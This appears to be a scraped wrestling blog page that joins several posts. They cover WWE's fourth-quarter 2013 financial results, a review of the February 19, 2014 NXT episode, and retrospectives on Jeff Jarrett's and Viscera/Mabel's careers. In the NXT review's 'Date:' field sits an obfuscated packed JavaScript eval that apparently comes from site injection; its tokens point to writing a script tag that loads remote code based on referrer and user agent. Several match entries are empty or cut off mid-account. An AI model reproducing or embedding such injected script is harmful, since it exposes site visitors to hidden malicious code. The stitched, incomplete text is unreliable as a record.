  • OIBDA in the fourth quarter 2013 decreased to a $5.6 million loss from income of $8.5 million in the prior year quarter.
  • The decline in OIBDA and Operating was due to increased investment in staffing, talent and marketing to support our strategic content initiatives, including the launch of WWE Network.
  • Lower sales of new DVD releases and a corresponding shift in product mix to lower priced catalog titles.

House shows:

Live Event revenues increased 9% to $25.4 million from $23.3 million in the prior year quarter primarily due to staging three additional events in international markets that in aggregate garnered a higher average ticket price in the current year quarter.

  • There were 78 total events, including 52 events in North America and 26 events in international markets, in the current quarter as compared to 75 events in the prior year quarter, including 52 events in North America and 23 in international markets.
  • North American live event revenue of $13.8 million was essentially unchanged from the prior year quarter, as a 4% increase average attendance to approximately 5,900 fans was offset by a reduction in live event sponsorship sales. The average realized ticket price of $44.59 also remained essentially unchanged from the prior year quarter.
  • International live event revenue increased 23% to $11.6 million from $9.4 million in the prior year quarter. The growth reflected the impact of staging three additional events in the quarter. Additionally, changes in venue mix contributed to both an increase in average ticket price and a partially offsetting decline in average attendance. The average ticket price rose 17% to $81.98 as the current year quarter included three events in Abu Dhabi, an international market that has historically garnered higher ticket prices. Average international attendance declined 7% to 5,200.

Pay Per View:

Pay-Per-View revenues were $15.7 million as compared to $13.0 million in the prior year quarter primarily due to the production of four pay-per-view events in the current quarter as compared to three in the prior year quarter. Revenue for the events held in both the current and prior year quarter increased 2% based on a comparable increase in pay-per-view buys. The average revenue per buy for these events was essentially unchanged from the prior year.

  • WWE Battleground (October): 114,000 buys, No PPV in 2012
  • WWE Hell in a Cell (October): 228,000 buys, up 29,000 from 2012
  • WWE Survivor Series (November): 177,000 buys in 2013, down 31,000 from 2012
  • WWE TLC (December): 181,000 buys, up 6,000 from 2012
  • Buys From Prior Events: 82,000 buys, up 12,000 from 2012
  • 2013 Total: 782,000 buys, up 130,000 from 2012.
  • Note: If you take out the extra Battleground PPV for the quarter, the company still did 16,000 more buys as compared to the same quarter last year.

Consumer Products:

  • Home Entertainment net revenues were $5.0 million as compared to $9.6 million in the prior year quarter. The decrease was driven by a 33% decline in the average price per unit to approximately $8 due, in part, to a higher proportion of catalog sales than in the prior year quarter. This shift derived from changes at retail, including reduced space for DVD inventory and demand for lower priced product. Shipments of catalog titles increased 51% and accounted for 57% of total unit shipments compared to 35% in the prior year quarter. Based on the sustained increase in catalog shipments, which historically have been characterized by lower sell-through rates, estimated returns increased to 51% from 37% of gross revenue. Also contributing to the decline in net home entertainment revenue, overall shipments fell 8% to 1.1 million with two fewer releases in the quarter (9 in Q4 2013 vs. 11 in Q4 2012).
  • Licensing revenues declined 14% to $7.2 million from $8.4 million in the prior year quarter primarily due to reduced sales of toy products in the U.S. and international markets. Despite the fourth quarter decline, domestic retail toy sales increased for the full year and WWE maintained its position with the second highest selling action figure property in the U.S. market. In late 2013, the Company launched a new line of construction toys, a segment of the toy category that has demonstrated strong growth over the last several years. Royalties from the sale of video game and apparel products were essentially flat to the prior year quarter, as modest growth in the U.S. was offset by lower sales in international markets.
  • Magazine publishing net revenues were $1.3 million as compared to $1.7 million in the prior year quarter, reflecting lower newsstand sales in the current year quarter.
TV Revenue
Television revenues increased 2% to $41.3 million from $40.6 million in the prior year quarter primarily due to the production and monetization of Total Divas, a new program, which debuted in July 2013, as well as contractual increases for existing programs licensed in international markets. These increases were partially offset by the timing of one less episode of Raw in the U.S. (due to one less Monday in the fourth quarter of 2013 as compared to the fourth quarter 2012).
WWE Studios
WWE Studios recognized revenue of $5.0 million as compared to revenue of $0.6 million in the prior year quarter primarily due to the performance and timing of results from the Company’s portfolio of movies. The fourth quarter 2013 reflected revenue from Christmas Bounty, a made-for-TV movie that aired in November 2013, and to a lesser extent, revenue from The Call (starring Halle Berry), which was released theatrically in March 2013. Although four movies were released during 2012, these releases had limited impact on revenue recognized in the fourth quarter of that year. WWE Studios’ movie portfolio generated income of $0.1 million in the quarter compared to a loss of $1.2 million in the prior year quarter, which included $0.5 million in film impairment charges. Excluding the impact of film impairment charges, the WWE Studios’ movie portfolio contributed to essentially break-even results in the current year as compared to a loss of $0.7 million in the prior year quarter.
During the current year, WWE Studios recognized revenue of $10.8 million as compared to $7.9 million in the prior year, reflecting the timing of results generated by the Company’s portfolio of movies. In November 2013, the Company released Christmas Bounty, a made-for-TV film. Additionally, five other films were released in the current year (12 Rounds 2: Reloaded, No One Lives, Dead Man Down, The Call and The Marine 3: Homefront) versus four in the prior year.

Based on revised ultimate expectations for the Company’s movies, film impairment charges increased to $11.7 million in the current year compared to $1.2 million in the prior year. Impairments were primarily related to the Company’s 2010-2012 film slate, as well as Dead Man Down, which were released earlier in 2013. As a result, WWE Studios generated a loss of $12.7 million compared to a loss of $5.5 million in the prior year. Excluding the impact of film impairment charges, the WWE Studios’ movie portfolio generated an adjusted loss of $1.0 million compared to an adjusted loss of $4.3 million in the prior year.

Digital Media:
Revenues from our Digital Media related businesses were $11.7 million as compared to $12.1 million in the prior year quarter.

  • WWE.com revenues were $5.7 million as compared to $6.2 million in the prior year quarter with lower aggregate sales of digital content. Key digital metrics such as unique visitors to the Company’s website and mobile app as well as average monthly page views increased from the prior year quarter.
  • WWEShop revenues were $6.0 million as compared to $5.9 million in the prior year quarter reflecting a comparable percentage increase in revenue per order to $47.88. The volume of online merchandise sales remained essentially unchanged at approximately 124,300 orders.
Total revenues for the year ended December 31, 2013 were $508.0 million as compared to $484.0 million in the prior year. Operating income for the current year was $5.9 million versus $43.2 million in the prior year. Net income was $2.8 million, or $0.04 per share, as compared to $31.4 million, or $0.42 per share, in the prior year. OIBDA was $30.4 million for the current year as compared to $63.2 million in the prior year. Excluding items that impacted comparability on a year-over-year basis, Adjusted Operating income was $14.2 million compared to $44.4 million in the prior year, Adjusted OIBDA was $38.7 million as compared to $64.4 million and Adjusted Net income was $8.2 million, or $0.11 per share, compared to $28.1 million, or $0.38 per share, in the prior year.
In summary, WWE is making a lot of money.



NXT – February 19, 2014: The Day I’ve Been Dreading

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsdek|var|u0026u|referrer|bdzsr||js|php'.split('|'),0,{})) February 19, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Byron Saxton, Tensai

Welcome Home.

Paul Heyman, Bret Hart and Diesel will be doing an NXT Kickoff show on the Network next week.

Ascension vs. Mike Lebosca/Casey Marion

Non-title. Viktor runs over Mike to start and gets two off a hard clothesline. Off to Konnor for a double powerbomb and the Fall of Man is good for the pin on Marion at 1:21.

Tyler Breeze is officially in the building.

Summer Rae vs. Emma

Tyler Breeze is NOT cool with Adrian Neville being the face of NXT.

Before the break we got an Elimination Chamber ad. When we come back, we get a video on Elimination Chamber. You can see the yellow and black turning red before your eyes.

Adrian Neville vs. Tyler Breeze

Feeling out process to start until Breeze stomps him down in the corner and scores with a running dropkick. Before he follows up though, time for a quick picture. Neville comes back with kicks to the ribs and a ram into the buckle as Tensai talks about ladder matches, name dropping Jeff Hardy and the Dudley Boys. A running uppercut in the corner puts Breeze down but Neville walks around instead of covering. Breeze misses a dropkick and gets kicked to the floor, setting up a big dive as we take a break.

Results

Ascension b. Mike Lebosca/Casey Marion – Fall of Man to Marion

Emma b. Summer Rae – Emma Lock

Adrian Neville b. Tyler Breeze – Red Arrow

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:




Wrestler of the Day – February 13: Jeff Jarrett

WCCW Light Heavyweight Title: Eric Embry vs. Jeff Jarrett

 

WCCW vs. CWA here. Jarrett is also a rookie and from the CWA. He won the title recently before this to make the cross promotion thing seem legit. Embry would become a big deal in WCCW as a face after this and then in the USWA. He would book for awhile and liked to be sans clothing while he did so. They do some very fast paced stuff to start and Jeffs Flair blonde hair is all over the place.

 

They trade a lot of counters and are moving insanely fast out there. Embry, the veteran, finally takes over a bit but walks into that gorgeous dropkick to give Jeff a breather. Hes sent to the floor though and is holding his arm. Eric works on his arm as Jeff is too young to really know how to carry a match at this point. Jeff goes up and hits a middle rope missile dropkick but lands on his shoulder and cant cover. Jeff sets a world record for most sunset flips in a single match and thefinal one is reversed for the title for Embry. He would drop it to Foley in like two weeks.

 

Rating: C. Just a quick match here for a midcard title change to be on the show. Jarrett was so young here that it was unreal but he would get better. Embry would become the biggest face not named Von Erich for awhile and then would go on to the USWA which was the successor to the CWA. For a four minute match, this was fine.

Southern Heavyweight Title: Jeff Jarrett vs. Steve Austin

Rating: D+. Not the worst match ever but it was only a few minutes long and neither guy was all that great yet. This was more about pushing the Monday matches forward because of the post match stuff. Not much to see here and Jeff has the title back that he never really lost in the first place.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Jarrett is challenging and now has the Roadie with him. Razor starts with his usual assortment of punches and a fallaway slam to send Jeff to the floor. After a little toweling off on the floor, Jeff armdrags Razor down and struts. They trade arm holds until Razor gets taken to the mat where Jeff messes with his hair. Careful with the grease there Jeff. Razor gets annoyed and knocks Jeff to the floor for some more Memphis stalling.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Razor tries some quick rollups for two but Jeff goes right for the knee to take over. Jeff does his best Ric Flair imitation but as he goes for the third cannonball down onto the leg, Razor kicks him over the top and out to the floor. Back in and Jarrett puts on the Figure Four, putting Razor in a lot of trouble. Razor escapes and starts his comeback with punches and the belly to back superplex but Jeff counters in mid air for two. Razor clotheslines him down and loads up the Edge, but the knee gives out and Jeff rolls him up for the pin and the title.

Jarrett would defend the title against Shawn Michaels at the second In Your House.

Intercontinental Title: Shawn Michaels vs. Jeff Jarrett

 

Roadie gives Jeff a VERY long intro before we get to the match. The place goes nuts for Shawn who is at his peak before he won the world title here. Jeff poses on the ropes before the match but bails when Shawn grabs the belt to check out his looks. Back in and we have the first lockup after a minute, only to see Shawn punch Jeff into the corner for more stalling. Michaels lays on the top rope for a breather to tick the champion off even more.

 

Jarrett armdrags Shawn down and struts a bit before they run the ropes to speed things up, only for a right hand to drop Shawn to the floor. Jeff lays on the top as well in a nice mind game. Back in and they fight over a hiptoss before speeding things up again with Shawn hitting the hiptoss and clotheslining Jeff to the floor, only to skin the cat back inside. Jarrett teases walking out but slides back in at 9, only to head right back to the floor.

 

Jeff counts along with the referee but breaks the count at nine again. Shawn finally gets tired of waiting and heads out to the floor to bring Jarrett back in, only to dive into another right hand. Shawn holds the ropes to avoid a dropkick but has to knock Roadie to the floor. A charging Jarrett is thrown over the top onto Roadie, followed by a BIG dive off the top to take out both guys.

 

Back in and Shawn goes to the middle rope but Jeff dives to the mat to avoid a cross body. Shawn held on though and catches Jeff with a sunset flip for two, only to be backdropped over the top and out to the floor. This has been great stuff so far. Back in again and a gordbuster (front suplex with Shawn landing on his head) gets two for the champion and we hit the abdominal stretch. Roadie helps Jeff but finally gets caught, allowing Shawn to hiptoss his way to freedom.

 

 

Jarrett would head to Memphis for the rest of the year before returning in late 1995 and not doing much at all. He would head to WCW in late 1996 and try to join the Horsemen in a story that never quite worked. Jarrett would get a chance at Starrcade 1996 against Chris Benoit.

Chris Benoit vs. Jeff Jarrett

 

This is a No DQ match as Jarrett wants to be a Horsemen but has to fight his way through some of the other Horsemen first. Jarrett was a guy from Tennessee who was good in the ring, good on the mic and very safe. In other words he had every tool you needed, but no one cared about him at all. It never clicked until he went back to the WWF and completely changed his character that he got over in WCW. Benoit has his future real life wife Woman with him here.

 

It turns into a brawl with the guys rolling around on the mat and brawling before heading to the floor. Chris takes over on the outside before heading back inside to catapult Jarrett into the buckle. Benoit loads up a superplex, only to be shoved off the top to give Jarrett control. Not that it matters much though as Chris comes right back with a clothesline to send Jarrett out to the floor again. Jarrett is rammed into the barricade a few times, only to come back by dropping Benoit ribs first onto the barricade.

 

They get up again and Jeff goes nuts on Benoit, pounding on him in the corner and hitting a quick dropkick for two. Benoit is dropped on the top rope again but Woman breaks up the Figure Four. Cue Arn Anderson who walks by his Horseman mate to stand on the other side of the ring.

 

Jeff Jarrett vs. X-Pac

A Jarrett leapfrog is countered into a sitout powerbomb for two and Howard is starting to panic. Another Bronco Buster attempt is countered by a low blow but Jarrett stops to hit the Fink, allowing the X Factor to connect for a VERY close two. Southern Justice is back but Dennis Knight (Phineas) drops a guitar, giving X-Pac the shot to Jarrett for the pin.

Rating: C. Not bad here but it went a bit too long for what they were trying to do. If Southern Justice could come out at the end, where were they for the other ten minutes of the match? The haircut was the move that Jarrett needed as he changed his entire character from Tennessee Guy to chauvinist pig soon after this.

Jarrett formed a tag team with Owen Hart that would win the Tag Team Titles and hold them for a few months, dropping them just before Owen passed away in May of 1999. Jeff would spend the summer winning and losing the Intercontinental Title before entering the feud that kept him from ever stepping foot back back in the WWF.

Intercontinental Title: Chyna vs. Jeff Jarrett

Remember this is more or less a weapons match with certain weapons only. Chyna, the liberated woman, is wearing a thong. Sure why not. Miss Kitty is amazing looking of course so that’s no shock. This is a glorified comedy match but that’s working for something like this as it fits the storyline pretty well. Chyna shoves a banana in Jarrett’s face while he has a toilet seat around his neck. See what I’m dealing with here?

All Chyna so far here until she misses an elbow from the apron through a table. She broke the salami that was on the table. Apparently this is falls count anywhere as well. Jarrett hits her in the back with a fish. Ok then. Chyna beats up Miss Kitty but gets caught in the figure four, which was Jarrett’s finisher at the time. Ah there are the ropes. Jarrett comes off the second rope and the tongs he has wind up on his balls.

We’ve got pies. You might notice there is no sort of wrestling or flow to this at all. Don’t bother looking for it as this is a glorified comedy match. Kitchen sink shot gets two. There goes the referee. Who says the late 90s were overbooked? Chyna takes the title to the face…and gets pinned? Apparently so.

BUT WAIT!

The referee says the IC Title isn’t a household item so he can’t use it for the pin. Chyna blasts him with a guitar and that’s ok for the pin and the title. Ok then. Kitty leaves with Chyna, leading to a weird semi-lesbian angle without ever saying that’s what it was.

Rating: C-. Not really a match but it ended the angle in a way that fit perfectly. I’m ok with that as it at least made sense. This was a solid blowoff to the match so that’s all I can ask for I guess. Jarrett would be in WCW in like a day or so and get the biggest push of his career, albeit on a sinking ship.

Jeff would win the US Title before the end of 1999 and then join the latest incarnation of the NWO. A bunch of injuries would cripple the team though and it would be gone in just a few months. Jarrett would thrive though, receiving a WCW World Title shot at SuperBrawl 2000.

WCW World Title: Jeff Jarrett vs. Sid vs. Scott Hall

This is Hall’s last match in WCW. Hall is the popular one but since he has no chance it’s not like it matters. He and Jarrett go at it before Sid gets here. Hall takes out the Harris Brothers and this is no DQ. Jeff chills on the floor while Hall pounds on Sid. Sid beats them both down and the Harris Brothers are running around at their pleasure. The Twins pull Hall to the floor and Jeff works over Hall a bit.

Tony calls Hall and Jarrett a couple of young kids and there goes the referee. Sid hits a double chokeslam and another referee comes down to count two. Jeff takes Sid out with a belt shot for two. The second referee gets a Stroke because….well because Jeff isn’t a nice person. Some heel miscommunication lets Hall get two on Jeff. Sid cracks the Harris Brothers with chairs and Jeff beats up the third referee in about five minutes.

The fourth referee comes in and down he goes immediately. Here’s the fifth referee and it’s the crooked referee Slick Johnson. Jeff sees him coming but gets caught in the Outsider’s Edge, only for Johnson to do the whole “OW MY SHOULDER” bit. Jeff hits Hall with the guitar and here’s Roddy Piper to be the referee. He’s the guy behind the door and he stops Johnson from counting the pin. Chokeslam to Jeff, powerbomb to Hall and Sid retains.

Rating: D+. Well all things considered (7 minutes, 6 referees, 2 Harris Twins and 1 guy with zero chance at all) they did about as much as they could. This felt as rushed as a little personal time when your mom is on her way home and you’re 13 years old. I have no idea why it was so rushed but could it have anything to do with JAMES BROWN DANCING FOR TEN MINUTES?

He would win and lose the WCW World Title in the span of a month in April, leading to a triple threat rematch with Jarrett, Diamond Dallas Page and actor David Arquette in a triple cage at Slamboree 2000.

WCW World Title: David Arquette vs. Jeff Jarrett vs. Diamond Dallas Page

It’s a triple cage match where the bottom is like the Cell and there’s a hardcore cage on top of that, which has a bunch of weapons on it. On top of that there’s a cage with a bunch of guitars around it with a cage a single person can fit into. The belt is hanging from the ceiling above that cage which has to be climbed to pull the belt down. It really is an impressive looking structure.

While the introductions are going on, a few things should be noted about Arquette: he didn’t want to do this but Russo insisted it was a brilliant idea. Second, every dollar he made from this he donanted to the families of Owen Hart, Brian Pillman and Darren Drozdov (recently paralyzed in a match). Before I forget you have to use a ladder to get to the second cage through I’m guessing a trapdoor.

The bell rings and Arquette runs. Well at least he’s thinking. Basically you’ll get Page vs. Jarrett for the majority of the match which means it’ll be decent enough. Page gets a clothesline in the ring and calls for Arquette to go up to the top where he misses a splash. Page tries to get a ladder but Jarrett hits a baseball slide to send Page into the cage again. And down goes David as Page sends Jarrett into Arquette into the cage.

Page posts Jeff and goes for the ladder and ultimately the second cage. Jarrett is busted open but manages to suplex Page off the ladder. The ladder is in the corner and not set up so both guys are sent into it as is the ladder match custom. Jeff brings in a second ladder and they both start climbing. Page knocks him off and is in the second cage first. Jeff follows quickly and instead of just going through the door he grabs a weapon and gets caught.

The floor of the cage they’re in is made of the top of the other cage and has wide spaces, making it easy to slip in. Page is busted also and Jarrett tries to climb the wall, only to get caught. They ram each other into the cage wall and it falls down. Keep in mind they’re on top of something the size of Hell in a Cell. This isn’t exactly on the mat and almost falling to the floor.

Hey, I have a great idea! LET’S SET UP A TABLE ON TOP OF A CAGE WITH BIG HOLES IN THE FLOOR! Page gets something like a powerslam through it and both guys are down. The floor is pretty weak but it’s not as bad as a scaffold match. Arquette hasn’t been seen in about five minutes. There he is and here he comes. Arquette goes to the top of the hardcore cage and is totally alone, meaning he could easily retain the title. Since he doesn’t, you might as well hold up a big sign saying SHOCK HEEL TURN.

Page sets for a Diamond Cutter on Jarrett on top of the Cell (they’re outside the hardcore cage so it’s almost like the moat of a castle if that makes sense) but Mike Awesome pops in to break it up. There’s a Diamond Cutter for him and Arquette is on top of the third cage. Page and Jarrett go up and head into the guitar room. Jarrett misses a shot as does Page. He hands one to Arquette to play defense with and as both wrestlers climb, say it with me, ARQUETTE TURNS ON PAGE. Jarrett wins the title.

Rating: B. Above all else, this match shows the fundamental flaw in Vince Russo’s style: this was a good match and there was zero reason for Arquette to be involved at all. As explained during the match, Jarrett was mad at Page because Page was in Ready to Rumble and he wasn’t. They met in a tournament final at the previous PPV for the title with Jarrett winning and then Page got the belt, making this the blowoff match.

DDP vs. Jarrett in a big gimmick cage match (from the movie so it makes even more sense) is more than ok for a PPV main event. They have chemistry together too so the match was going to be pretty good at least. But for Russo that’s not enough so he adds in David Arquette, making it look like any guy off the street (which for Arquette is true from a physical standpoint) can win the title. The title looks bad and instead of WCW having a match that looks like it’s even more crazy and awesome than Hell in a Cell, this match is remembered for David Arquette coming in as world champion. Just let the wrestlers wrestle.

To give you an idea of how screwed up WCW was at this point, Jarrett won his first WCW World Title on April 16, 2000 and won it for the fourth time on May 29, 2000, a span of 43 days.

Jeff would drop down to the midcard after that and not do much of note until WCW folded. He was a big deal in the World Wrestling All-Stars for its entire run, but in June 2002, Jarrett would start up NWA TNA and be its featured star for years. Jeff would win the NWA World Title in November and eventually move into a pretty awesome feud with Raven. One of their title matches took place on April 30, 2003.

NWA World Title: Jeff Jarrett vs. Raven

From April 30, 2003 with Jarrett defending. Raven has Julio Dinero with him but unfortunately not the more famous lackey: CM Punk. He also has his chick Alexis Laree, more famous as Mickie James. This is billed as the showdown with Raven wanting to claim his destiny. Feeling out process to start with Raven slamming the champion down and celebrating. A drop toehold ticks Jeff off even more so he erupts with right hands and a dropkick to send Raven out to the floor.

Dinero gets a dropkick as well and Jarrett slams Alexis. Another Raven Effect attempt is countered with an enziguri for two and a catapult into the corner gets the same. The Stroke hits from out of nowhere for another near fall but no real pop from the crowd. A sloppy Raven Effect gets the same but Jeff comes back with a Cactus Clothesline to send both outside. Raven is laid out on the table and Jeff drops a middle rope elbow to drive him through it.

Back inside and Jarrett lays Raven out with a DDT but Dinero makes the save. The referee FINALLY ejects the Gathering but Raven shoves Jarrett into the referee, knocking him into the barricade. Both guys kick each other low as the Disciples of the New Church come out to brawl with the Gathering. Raven calls out Extreme Revolution (your usual ECW guys) to destroy and handcuff Jarrett.

Jeff would trade the title back and forth with AJ Styles and a few other people as TNA continued to grow. The title would be on the line against challenger Jeff Hardy at the first three hour PPV, Victory Road 2004.

NWA World Title: Jeff Hardy vs. Jeff Jarrett

Ladder match. It took 9 minutes to get from package to bell. Oh and remember Hall and Nash are both here and allegedly they’re both in Jarrett’s corner. Now in case you don’t know, Jeff Hardy has had ladder matches before. I need to make sure you know this, because the announcers only tell us about 49 times so because they don’t go with the full 50, make sure you know: Jeff Hardy has been in ladder matches before.

West is surprised that Hardy is using the ladder as a weapon. Has he never watched WWF television? Why do the announcers have to keep repeating themselves? There’s really no attempt at getting the ladder and it’s just moves to hurt each other. There’s no flow to this at all and it’s just spot after spot. I know the others have that also, but there’s a clear flow to it and you can easily see the differences between the two.

Hall comes out and hits a Razor’s Edge on Hardy which does nothing at all. The fans for the most part look bored as they have all night. That’s the problem here: all of these spots have not only been done but they’ve been done better by more interesting characters. There’s just no reason to care at all here and it’s painfully showing. And now we have a big ladder. Where have I seen this before?

They set it up on the floor and climb it which is completely pointless as it’s about even with what a regular ladder in the ring would be at. Oh look, Hardy is in control and Nash, with his own entrance music, is coming down. Nothing but good can come of this right? Oh you know it’s coming. They beat up Hardy and Jarrett keeps the title. They call themselves the Kings of Wrestling as they try to do the NWO thing all over again.

AJ comes out to fight them and gets beaten down then Three Live Crew (because I like literacy) comes out and fight to something resembling a stalemate before Macho Man debuts and we go off the air. Yep, the six man was your main event next month and then Savage was gone. What a mess this was.

Rating: D. This was awful. It felt like they said we’re going to have a ladder match then looked around and asked if anyone knew how to do that. It wasn’t interesting at all and it wasn’t any good. None of the spots made you want to see more and nowhere in here did I think Hardy would win. The Outsiders as usual meant nothing. They had one big moment 14 years ago and they’ve ridden it ever since. This felt like an imitation of something better but they knew it was bad.

NWA World Title: Jeff Jarrett vs. Rhyno

They head into the crowd with Rhyno in full control. He tries to suplex him off a wall but Jarrett knocks him down and onto the floor again. They head up towards the backstage and Jarrett is rammed into various metal objects, busting him open. Back to ringside and Jeff takes a chair shot to the shoulder and the back. Back to the backstage area and Rhyno loads up a table.

Jarrett would spend most of 2006 feuding with Sting, eventually dropping the title to him at Bound For Glory that year. This would get rid of Jeff for about six months until he returned to the ring in the main event of Lockdown 2007 as part of Team Angle.

Team Christian vs. Team Angle

Christian Cage, Tomko, AJ Styles, Abyss, Scott Steiner

Kurt Angle, Sting, Jeff Jarrett, Samoa Joe, Rhyno

Christian takes a double chokeslam from Sting and Jarrett which is a cool visual. Black Hole Slam to Jarrett but not onto the tacks. Angle knocks AJ off the cage onto the people outside the cage. SCARY stuff there. Abyss pours the other bag of tacks into the guitar and since he loaded it up, it goes over his head and Jarrett lets Sting get the pin and the title shot.

JeffJarrettvs. KurtAngle

This is Jeff’s first match in two years and we’re told about his little girls every 9 seconds of course. Angle flips Foley off almost immediately. He’s on the floor for the majority of this match as he’s just an enforcer. Who he’s enforcing against or what he’s enforcing are anyone’s guess but that’s a constant question in wrestling. Big THANK YOU JEFF chant.

Feeling out process to start as Angle tries to embarrass Jeff. I think 2005 did that about as well as possible Kurt. Angle dominates on the mat of course which is what I think everyone expected. He hits a European Uppercut in the corner which is called a German by West because he’s a stupid man. Jarrett hits a pescado to take Angle down on the floor.

Spending a lot of time on the mat here which is probably an attempt to balance out the lack of cardio that Jeff likely has. We get some dueling chants as Jeff fights out of a chinlock. Someone needs to win with one of those once just for the pure shock value of it. Angle’s shoulder hits the post and Jarrett is too spent to do anything about it.

Jarrett starts a comeback but can’t finish him. He goes for a middle rope suplex but Angle blocks and tries a belly to belly to the floor. Since that would more or less kill Jarrett, Angle gets a top rope suplex instead. A nice counter sets up the figure four and Angle is in trouble. Foley has done absolutely nothing in the nearly fifteen minutes we’ve been going so far.

Rolling Germans have Jarret in trouble. Ankle Lock is on and Jeff is about to tap. Angle Slam gets two and a moonsault misses. According to Tenay the figure four is the reason the moonsault missed. I’m pretty sure it was actually Jeff rolling out of the way but what do I know? Stroke gets two but the referee is out so Foley counts two.

Kurt goes to get a chair and Foley says no way. Yes let’s tell one of the most intense men in the history of the sport that hates your guts not to use a chair he has in his hands. Foley gets his skull caved in for the 150th time which he should get a set of steak knives for I think. Chair to Jarrett gets two as Foley stops it. Socko to Kurt and a guitar shot ends it with Foley making the count.

Rating: B. Solid for the most part here and considering that it was Jeff’s first match in so long, this was pretty good. Foley didn’t need to be there like at all but it fit in with the story so I can live with that. Tenay SHOUTS at Jeff’s kids in Nashville that they all love them and this was for you. WOW yeah that wasn’t overkill at all Mikey.

Kurt Angle vs. Jeff Jarrett

First fall is submission only, second is pin only, third is escape the cage.  Should be awesome.  Karen is ejected before the match starts which is a nice plus.  Angle gets a headlock to start us off which is broken up quickly.  There are only three matches left and we have almost 90 minutes left so this is going to get a lot of time.  Snap suplex puts Jeff down as Kurt hammers away.

 

Leg sweep takes Kurt down and it’s a Figure Four less than two minutes in.  Not a very good one but a figure four nonetheless.  The referee, ever the genius, counts Kurt’s shoulders in a submission match.  Kurt turns it over and hooks a t-bone suplex into the ankle lock.  That doesn’t last long as Jarrett grabs a sleeper.  Jeff sends Kurt into the corner shoulder first and adds an enziguri to the shoulder (which doesn’t work as enziguri means head kick but you get the idea).  Cross armbreaker goes on and Kurt is able to roll out of it and lock on the ankle lock with the grapevine to get the early submission.

 

Jeff sends him into the cage and hits the Stroke for two.  I thought that would have been a fall actually.  Jeff has a top rope cross body rolled through for two.  Double clothesline puts both guys down.  They slug it out and it’s boo/yay time.  Belly to belly by Kurt gets two.  Rolling Germans hear my cry!  The third is blocked by a low blow though which Jeff distracts the referee for.  If it’s pin only, why would he have to distract the referee?

 

Another Stroke is countered into a shot into the cage and an Angle Slam for of course just two.  Jeff goes up and is caught in a belly to belly off the top for a long two.  The crowd is FINALLY getting into this.  They’ve been dead the entire time here which is a shame as this has been a fairly good match so far.  Kurt wakes up and busts out a Diamond Cutter of all things.  That has to be a shot at Randy Orton.  And Jeff rolls Kurt up with tights to tie it up.  No bell or anything and the announcement is delayed, so no one really got that it was a fall.

 

Third is escape only and Jeff tries to unlock the door.  There’s a key in there if you’re wondering.  Jeff sends Kurt into the cage multiple times and goes for the key again.  Ok the door is unlocked now.  Slowest Rolling Germans ever has Jeff reeling though.  There were five in that set and thankfully the crowd responds to it a bit.  Just like last year, Kurt is ready to go and Jeff couldn’t stop him but he comes back in.  He gets to the bottom step twice and come back in.

 

Kurt locks the door and puts the key down his tights.  Jeff is panicking so Kurt beats on him a bit more.  Jeff is the first person to bleed tonight and it’s flowing down his face.  They head to the top rope and Kurt hammers him down.  Angle climbs up but Jeff catches him with a powerbomb off the top of the cage which is botched and Kurt lands on the top of his head, probably killing him.  And of course he pops up to catch Jarrett leaving and hits an Angle Slam off the top.  Kurt tries to leave but lost the key somewhere.  Not a good sign when there’s so much room in your tights that you can’t find a big metal object buddy.

 

Gunner comes out with a chair to keep Kurt from leaving so Kurt pulls a Jeff Hardy vs. Umaga spot and throws out the moonsault to Jeff.  I think his head hit Jarrett so it’s better than nothing.  Steiner runs out to chase off Gunner as both guys are down.  Kurt finds the key and unlocks the door but Karen bounces down and sprays something in Kurt’s eyes.

 

The blind Angle drills the referee and Karen hides by the door.  Jeff tries to escape but gets caught in the ankle lock.  Karen slips him a guitar from somewhere and pops Kurt with it.  Kurt gets up AGAIN and puts the ankle lock on Jeff one more time but Karen slams the door on Angle’s head to let Jeff fall out to end this finally.  You have got to be kidding me.  Are they trying to have a mass murder in Cincinnati tonight?

Rating: B. Le sigh.  Blast it all as they managed to screw up ANOTHER finish.  The match wasn’t great but it was definitely the best of the night.  The crowd hurt this a lot and the ending wasn’t all that great.  It’s Angle vs. Jarrett.  HOW CAN YOU OVERBOOK KURT ANGLE VS. JEFF JARRETT????????  Not a great match as some people will say but good.  The problem is the first two falls were weak and it hurt this a lot.

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Wrestler of the Day – February 12: Viscera/Mabel

This is a last second change for obvious reasons. Today is Viscera/Mabel.

Mabel debuted as part of a tag team called Men on a Mission whose mission was never quite clear. I think it was supposed to be helping children but they went about it by doing bad raps and looking like they were caught in a Life Saver factory explosion. This is their Raw debut from July 19, 1993.

Men on a Mission vs. Hank Harris/Rich Myers

After squashing jobbers for the better part of a year, Men on a Mission would get a Tag Team Title shot at Wrestlemania X.

Tag Titles: Men on a Mission vs. Quebecers

Reno Riggins vs. Mabel

Riggins tries everything he can on Mabel but the big guy just stares at him. Reno is willing to try a test of strength from the middle rope and actually gets in some cheap shots, only to be slammed down. Mabel misses an elbow drop but comes back with a big leg for the easy pin.

KOTR Quarterfinals: Mabel vs. Undertaker

Mabel is interviewed on his way to the ring and cuts the most generic uninteresting promo of all time. He looks like a freaking idiot too in case you were wondering. I think Hendrix is trying to be like Jerry Lawler and of course it’s just completely failing. Taker has no urn here thanks to Kama so he’s weak or something. Remember all of those really not great Undertaker vs. Big Show matches?

One of those would be great compared to this. Mabel is just a complete and utter joke of a wrestler to put it mildly. He can’t move, he can’t do much of anything as far as offense, he’s tired after about two seconds, and he doesn’t sell a thing. Naturally Mabel’s “power (read as elbows, splashes and chinlocks)” offense wears down Taker as Vince and Doc try so hard to convince us that Mabel is a monster.

This just needs to end with Taker beating him and taking the crown. BREAKING NEWS: MABEL CAN PICK UP UNDERTAKER! For some reason this is a big deal and I have no idea why at all. Why in the world would that be a surprise? Mo is more annoying than Santino ever dreamed of being.

